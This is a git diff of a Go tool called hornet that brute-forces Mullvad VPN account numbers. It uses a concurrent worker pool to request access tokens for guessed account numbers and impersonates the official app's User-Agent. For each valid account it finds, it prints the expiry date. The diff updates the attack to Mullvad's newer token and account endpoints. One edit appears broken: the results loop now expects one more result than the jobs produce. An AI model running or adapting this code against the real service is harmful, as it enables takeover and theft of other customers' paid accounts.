diff --git a/hornet.go b/hornet.go index 48aef38..0578c92 100644 --- a/hornet.go +++ b/hornet.go @@ -1,13 +1,15 @@ package main import ( + "bytes" "encoding/json" "fmt" "io" "math/rand" "net/http" "net/url" - "strings" + "os" + "strconv" "time" "github.com/panjf2000/ants" @@ -32,31 +34,55 @@ type Login struct { Results chan string } +// API request +type Request struct { + Account string `json:"account_number"` +} + // API error type Error struct { Code string `json:"code"` } // API response -type Response struct { - Account struct { - Expires string `json:"expires"` - } `json:"account"` +type TokenResponse struct { + AccessToken string `json:"access_token"` +} + +type AccountResponse struct { + Expiry string `json:"expiry"` } // Attempt a login func (l *Login) Attempt() { - // GET request + // Create struct + post := Request{ + Account: strconv.Itoa(l.Number), + } + + // Encode data + data, err := json.Marshal(post) + if err != nil { + l.Results <- "" + return + } + + // POST request req, err := http.NewRequest( - "GET", - fmt.Sprintf("https://api.mullvad.net/www/accounts/%d", l.Number), - nil, + "POST", + "https://api.mullvad.net/auth/v1/token", + bytes.NewBuffer(data), ) if err != nil { l.Results <- "" return } + // Set headers + req.Header.Set("Host", "api.mullvad.net") + req.Header.Set("User-Agent", "mullvad-app") + req.Header.Set("Content-Type", "application/json") + // Execute request res, err := l.Client.Do(req) if err != nil { @@ -72,32 +98,84 @@ func (l *Login) Attempt() { } // Store JSON - var response Response + var tokenResponse TokenResponse var error Error // Parse JSON - json.Unmarshal(body, &response) + json.Unmarshal(body, &tokenResponse) json.Unmarshal(body, &error) - // Account found - if response.Account.Expires != "" { - l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, response.Account.Expires) - return + fmt.Fprintf(os.Stderr, "Error: %s\n", error.Code) + + // Success + if tokenResponse.AccessToken != "" { + // Create struct + get := Request{ + Account: strconv.Itoa(l.Number), + } + + encoded_get, err := json.Marshal(get) + if err != nil { + l.Results <- "" + return + } + + // GET request + account_req, err := http.NewRequest( + "GET", + "https://api.mullvad.net/accounts/v1/accounts/me", + bytes.NewBuffer(encoded_get), + ) + if err != nil { + l.Results <- "" + return + } + + // Set headers + account_req.Header.Set("Host", "api.mullvad.net") + account_req.Header.Set("User-Agent", "mullvad-app") + account_req.Header.Set("Content-Type", "application/json") + account_req.Header.Set( + "Authorization", + fmt.Sprintf("Bearer %s", tokenResponse.AccessToken), + ) + + // Execute request + res, err := l.Client.Do(account_req) + if err != nil { + l.Results <- "" + return + } + + // Read body + body, err := io.ReadAll(res.Body) + if err != nil { + l.Results <- "" + return + } + + // Store JSON + var account_response AccountResponse + + // Parse JSON + json.Unmarshal(body, &account_response) + + // Account found + if account_response.Expiry != "" { + l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, account_response.Expiry) + return + } } // Error found - if error.Code != "" || - strings.ContainsAny(string(body), "503 Service Temporarily Unavailable") { - l.Results <- "" - return - } + l.Results <- "" } func main() { // Get job count jobs := amount - // Half worker amount + // Halve worker amount if workers == jobs { workers = workers / 2 } else if workers >= jobs { @@ -105,7 +183,7 @@ func main() { } // Results channel, new pool - results := make(chan string) + results := make(chan string, amount) pool, err := ants.NewPool(workers) // Handle error if err != nil { @@ -147,7 +225,7 @@ func main() { } // Recieve all results - for r := 1; r <= jobs; r++ { + for r := 0; r <= jobs; r++ { result := <-results if result != "" { fmt.Println(result)